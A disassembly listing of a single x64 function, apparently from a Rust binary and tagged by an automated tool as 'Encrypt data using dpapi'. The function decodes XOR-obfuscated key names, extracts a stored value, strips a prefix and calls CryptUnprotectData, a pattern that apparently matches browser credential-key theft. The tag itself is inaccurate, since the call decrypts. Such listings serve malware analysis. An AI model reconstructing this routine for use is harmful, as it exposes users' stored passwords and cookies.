Function at 0x14000f070
Capabilities:
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x100
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0xe8]
call fcn.1401d76d0
mov rsi, qword [rsp + 0xe8]
movabs r12, 0x8000000000000000
cmp rsi, r12
jne 0x14000f146
movzx eax, byte [0x140473641]
mov ecx, 0x18
mov edx, 8
call fcn.140020a00
test rax, rax
je 0x14000f558
mov rbx, rax
mov qword [rax], 0
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0xf0]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14000f4c7
test rcx, rcx
je 0x14000f4c7
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x14000f133
mov r8, qword [r14 + 0x10]
mov rcx, rdi
call fcn.140020a10
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
jmp 0x14000f4c2
mov rdi, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
mov byte [rsp + 0xc8], 0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x70], 0x80
lea rcx, [rsp + 0x80]
lea rbx, [rsp + 0x40]
mov rdx, rbx
call fcn.1400019d0
cmp byte [rsp + 0x80], 6
je 0x14000f567
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
cmp rdx, rax
jae 0x14000f22f
lea rcx, [rsp + 0x58]
mov r8, qword [rsp + 0x58]
neg rax
inc rdx
movabs r9, 0x100002600
nop dword [rax]
movzx r10d, byte [r8 + rdx - 1]
cmp r10, 0x20
ja 0x14000f4dc
bt r9, r10
jae 0x14000f4dc
mov qword [rsp + 0x68], rdx
lea r10, [rax + rdx]
inc r10
inc rdx
cmp r10, 1
jne 0x14000f200
movzx ebp, byte [rsp + 0xa0]
mov eax, dword [rsp + 0xa1]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0xa4]
mov dword [rsp + 0x7b], eax
mov r14, qword [rsp + 0xa8]
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x80], xmm0
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x14000f27f
mov rcx, qword [rsp + 0x48]
mov r8d, 1
call fcn.140020a10
cmp bpl, 6
je 0x14000f52a
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x7b]
mov dword [rsp + 0xa3], ecx
mov dword [rsp + 0xa0], eax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm0
lea r15, [rsp + 0xc8]
mov rcx, r15
call fcn.140004530
mov byte [rsp + 0xc8], bpl
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xa3]
mov dword [rsp + 0xc9], eax
mov dword [rsp + 0xcc], ecx
mov qword [rsp + 0xd0], r14
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0xd8], xmm0
lea rax, [0x14033f894]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xc255e8198325451d
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.14000d190
movabs rcx, 0xf3a8218681891802
xor rcx, qword [rax]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x80]
mov edx, 8
mov r8, r15
call fcn.1401ce380
mov r14, rax
test rax, rax
mov r15, qword [0x1404734e8]
cmove r14, r15
lea rax, [0x14033db8b]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x1092a8a89c10a47e
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.14000d2b0
movabs rcx, 0x9a564be87435b78a
xor rcx, qword [rax]
mov edx, 0x36472ddd
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0x43
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], edx
mov byte [rsp + 0x4c], al
lea rcx, [rsp + 0x40]
mov edx, 0xd
mov r8, r14
call fcn.1401ce380
test rax, rax
cmove rax, r15
cmp byte [rax], 3
jne 0x14000f57b
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
lea r15, [rsp + 0x40]
mov rcx, r15
call fcn.14000b880
mov rbx, qword [rsp + 0x40]
cmp rbx, r12
je 0x14000f593
mov rdx, qword [rsp + 0x50]
cmp rdx, 4
jbe 0x14000f5cc
mov r14, qword [rsp + 0x48]
lea rax, [r14 + 5]
add edx, 0xfffffffb
mov dword [rsp + 0x80], edx
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x80]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.crypt32.dll_CryptUnprotectData
mov r15, qword [rsp + 0x48]
mov r12d, dword [rsp + 0x40]
test rbx, rbx
je 0x14000f477
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call fcn.140020a10
movzx eax, byte [0x140473641]
mov ecx, 0x18
mov edx, 8
call fcn.140020a00
test rax, rax
je 0x14000f558
mov rbx, rax
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r12
lea rcx, [rsp + 0xc8]
call fcn.140004530
test rsi, rsi
je 0x14000f4c7
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.140020a10
mov rax, rbx
add rsp, 0x100
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x80], 0x16
call fcn.1401ce8c0
mov r8, rdx
lea rcx, [rsp + 0x80]
mov rdx, rax
call fcn.140344330
mov r14, rax
lea rcx, [rsp + 0xa0]
call fcn.140004530
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x14000f52a
mov rcx, qword [rsp + 0x48]
mov r8d, 1
call fcn.140020a10
mov qword [rsp + 0x40], r14
lea rax, str.srcdevirtualizer.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140347440]
lea r9, fcn.140004490
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140345810
mov ecx, 8
mov edx, 0x18
call fcn.140345060
mov r14, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x40]
test rdx, rdx
jne 0x14000f51a
jmp 0x14000f52a
lea rcx, [0x140346b30]
lea r8, str.srcdevirtualizer.rs
mov edx, 0x2b
call fcn.140345400
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x80], xmm0
lea rax, str.srcdevirtualizer.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140347440]
lea r9, method..1.virtual_0
lea r8, [rsp + 0x80]
mov edx, 0x2b
call fcn.140345810
lea r8, str.srcdevirtualizer.rs
mov ecx, 5
call fcn.1403458b0
int3